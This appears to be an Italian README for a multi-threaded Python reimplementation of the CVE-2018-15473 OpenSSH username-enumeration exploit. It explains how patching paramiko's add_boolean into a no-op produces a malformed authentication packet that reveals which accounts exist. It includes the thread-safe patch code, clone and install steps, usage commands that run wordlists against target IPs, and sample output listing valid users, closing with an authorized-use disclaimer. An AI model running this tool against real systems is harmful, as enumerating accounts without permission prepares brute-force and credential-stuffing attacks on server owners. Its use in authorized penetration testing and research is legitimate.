
Una reimplementazione in Python 3 del classico exploit CVE-2018-15473 per l'enumerazione degli utenti OpenSSH, estesa con multi-threading, supporto per wordlist, rilevamento automatico delle vulnerabilità e patching dell'exploit thread-safe.
Una reimplementazione in Python 3 del classico exploit di enumerazione utenti OpenSSH CVE-2018-15473, estesa con multi-threading, supporto per wordlist, rilevamento automatico delle vulnerabilità e patching dell'exploit thread-safe.
CVE-2018-15473 è una vulnerabilità di enumerazione utenti che colpisce le versioni di OpenSSH dalla 2.3 alla 7.7.
La vulnerabilità nasce da una sottile differenza nel modo in cui il server OpenSSH risponde ai tentativi di autenticazione per nomi utente validi vs non validi. Creando un pacchetto di autenticazione a chiave pubblica malformato, un attaccante può osservare il comportamento del server e determinare se un determinato nome utente esiste sul sistema — senza conoscere la password dell'utente.
Queste informazioni possono rappresentare un primo passo critico in un attacco mirato di forza bruta o credential stuffing.
| Dettaglio | Valore |
|---|---|
| CVE ID | CVE-2018-15473 |
| Versioni Affette | OpenSSH 2.3 – 7.7 |
| Punteggio CVSS | 5.3 (Medio) |
Il flusso di autenticazione di OpenSSH normalmente funziona così:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
L'exploit abusa della fase MSG_SERVICE_ACCEPT. Quando il server invia un MSG_SERVICE_ACCEPT, il client dovrebbe aggiungere un campo booleano al successivo pacchetto MSG_USERAUTH_REQUEST. Correggendo il metodo Message.add_boolean di paramiko trasformandolo in un no-op, lo strumento invia un pacchetto di autenticazione malformato/accorciato.
Il server OpenSSH si comporta quindi diversamente a seconda che il nome utente esista o meno:
MSG_USERAUTH_FAILURE (il nome utente non esiste, non ha senso controllare la chiave)AuthenticationException (ha tentato di verificare la chiave, confermando che l'utente esiste)Questo strumento intercetta queste due risposte tramite gestori paramiko modificati (_parse_userauth_failure e _parse_service_accept) e classifica ogni nome utente di conseguenza.
Il PoC originale modifica add_boolean permanentemente, causando una condizione di competizione quando più thread vengono eseguiti simultaneamente — i thread interferiscono con le negoziazioni reciproche, producendo falsi errori di SSH negotiation failed. Questa reimplementazione avvolge la modifica in un threading.Lock(), rendendo lo scambio atomico:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap per verificare che il target stia eseguendo una versione vulnerabile di OpenSSH prima della scansioneparamikopython-nmapnmap (binario di sistema, deve essere installato)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate
# Install dependencies
pip install paramiko python-nmap
Assicurati che nmap sia installato sul tuo sistema:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
Controllo di un singolo nome utente:
python main.py 192.168.1.10 -u root
Enumerazione di una wordlist con thread predefiniti:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
Enumerazione con numero di thread e porta personalizzati:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
Esempio di output:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
Questo strumento è una reimplementazione in Python 3 e un'estensione del proof-of-concept originale. Il pieno credito per la scoperta e la documentazione di questa vulnerabilità va ai ricercatori originali:
Exploit originale: https://leapsecurity.io
Questa reimplementazione aggiunge:
Questo strumento è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati.
Utilizzare questo strumento contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta è illegale e non etico.
L'autore non si assume alcuna responsabilità per qualsiasi uso improprio di questo software.
Pratica sempre la divulgazione responsabile.
| Tipo | Divulgazione di Informazioni / Enumerazione Utenti |
| Autenticazione Richiesta | No |
| Ruolo |
|---|
| Nome / Handle |
|---|
| Autore PoC Originale | Leap Security (@LeapSecurity) |
| Ricerca sulla Vulnerabilità | Matthew Daley |
| Ricerca sulla Vulnerabilità | Justin Gardner |
| Ricerca sulla Vulnerabilità | Lee David Painter |